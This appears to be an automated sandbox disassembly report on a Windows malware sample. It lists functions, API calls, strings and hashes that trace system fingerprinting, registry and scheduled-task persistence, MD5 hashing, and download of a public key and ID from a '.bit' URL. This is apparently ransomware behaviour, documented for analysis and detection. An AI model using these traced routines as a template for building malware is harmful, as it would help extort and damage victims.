String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-2188884581
Opcode ID: 6f5062cb49fbb564bc3d1ad92fe9e1a7f72b0d032a773e92631f1c2a69717e7b
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 6f5062cb49fbb564bc3d1ad92fe9e1a7f72b0d032a773e92631f1c2a69717e7b
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Function 00481920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00481A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00481A81
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00481EDD
GetTickCount.KERNEL32 ref: 00481F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00481F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00481F95
Heap32Next.KERNEL32(?,?,?,?,?,664E8D28), ref: 00481FE3
GetTickCount.KERNEL32 ref: 00481FF1
Heap32ListNext.KERNEL32(?,?), ref: 00482058
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
Process32First.KERNEL32(?,00000128), ref: 004820AA
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

GetCursorInfo, xrefs: 00481C58
KERNEL32.DLL, xrefs: 0048199C
Thread32Next, xrefs: 00481E13
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
Heap32First, xrefs: 00481D8E
$, xrefs: 00481F7E
CloseToolhelp32Snapshot, xrefs: 00481D7B
USER32.DLL, xrefs: 00481C31
GetQueueStatus, xrefs: 00481C6B
ADVAPI32.DLL, xrefs: 00481989
Heap32ListFirst, xrefs: 00481DB4
CryptAcquireContextW, xrefs: 00481AD5
LanmanServer, xrefs: 00481A74
Thread32First, xrefs: 00481E00
Module32Next, xrefs: 00481E39
CreateToolhelp32Snapshot, xrefs: 00481D67
Heap32Next, xrefs: 00481DA1
NetApiBufferFree, xrefs: 004819F0
LanmanWorkstation, xrefs: 00481A26
NetStatisticsGet, xrefs: 004819E2
NETAPI32.DLL, xrefs: 004819A9
CryptReleaseContext, xrefs: 00481AF6
Heap32ListNext, xrefs: 00481DC7
Process32Next, xrefs: 00481DED
CryptGenRandom, xrefs: 00481AE3
Process32First, xrefs: 00481DDA
GetForegroundWindow, xrefs: 00481C4A
Module32First, xrefs: 00481E26

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Function 0041E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,004CB3EC,000000FF), ref: 0041E6C0

Part of subcall function 0040C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
Part of subcall function 0040C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
Part of subcall function 0040C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0040C700

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32
lstrlenW.KERNEL32(?), ref: 0041EC3E
lstrlenA.KERNEL32(","id":"), ref: 0041EC51
lstrcpyA.KERNEL32(?,?), ref: 0041EC6D
lstrcpyA.KERNEL32(?,?), ref: 0041EC7F
lstrlenA.KERNEL32(?), ref: 0041EC93
lstrlenA.KERNEL32(00000022), ref: 0041ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED2A
lstrlenA.KERNEL32(?), ref: 0041ED4B
_malloc.LIBCMT ref: 0041ED55
_memset.LIBCMT ref: 0041ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0041ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED85
lstrlenW.KERNEL32(?), ref: 0041EDA3
lstrlenW.KERNEL32(?), ref: 0041EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EDF7
DeleteFileA.KERNEL32(?), ref: 0041EE05
_free.LIBCMT ref: 0041EE15
_free.LIBCMT ref: 0041EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0041EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0041EFBF

Strings

.bit/, xrefs: 0041E7A3
", xrefs: 0041ECA0
?pid=, xrefs: 0041E884
bowsakkdestx.txt, xrefs: 0041E996, 0041EA67, 0041EC17, 0041EDEA
&first=true, xrefs: 0041E930
&first=false, xrefs: 0041E937
","id":", xrefs: 0041EBC5, 0041EC4C
Microsoft Internet Explorer, xrefs: 0041E736
{"public_key":", xrefs: 0041EA2E, 0041EA8D

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 907e3f7cd15165fba946494ce5b9ca8c0722589fe4c0ef65e913b9aaa1b84748
Instruction ID: 6dbc96f3ccd93c00a013485041b5c7257b0a9ae09bebbc57280f72cccf7ce4d8
Opcode Fuzzy Hash: 907e3f7cd15165fba946494ce5b9ca8c0722589fe4c0ef65e913b9aaa1b84748
Instruction Fuzzy Hash: FA421771508341ABD720DF25DC45BDB7BE8BF85308F44092EF88587292DB78E589CB9A

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Time Trigger Task, xrefs: 0040D43C, 0040D973
--Task, xrefs: 0040D8DD
PT5M, xrefs: 0040D5A1, 0040D66C
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
2030-05-02T08:00:00, xrefs: 0040D737
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Author Name, xrefs: 0040D4C8
Trigger1, xrefs: 0040D6FA

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: 380fa6b9bc041b97adb84551a576c776abbd944465f34ed01c2c15c76ed06775
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: 380fa6b9bc041b97adb84551a576c776abbd944465f34ed01c2c15c76ed06775
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: cffbae393b9c2034aaa015718cd028ffd9aba4d39295b0a39f2b934ffbce0a78
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: cffbae393b9c2034aaa015718cd028ffd9aba4d39295b0a39f2b934ffbce0a78
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 436f16151790f0a92971710ef59ae6cdf089245e46eb0ce06d682a96c77f783e
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 436f16151790f0a92971710ef59ae6cdf089245e46eb0ce06d682a96c77f783e
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: bc413ef1927ad5c7ad4c63796ca5ebcd4ef3e5a2d970d576ee0f7f2f19d63589
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: bc413ef1927ad5c7ad4c63796ca5ebcd4ef3e5a2d970d576ee0f7f2f19d63589
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000,00000000,?), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00620000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Address: %s, mac: %s, xrefs: 0040E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: a328fcd4842b127b9f08d968f541d4271d964a2002a9895a22376d6d76895778
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: a328fcd4842b127b9f08d968f541d4271d964a2002a9895a22376d6d76895778
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
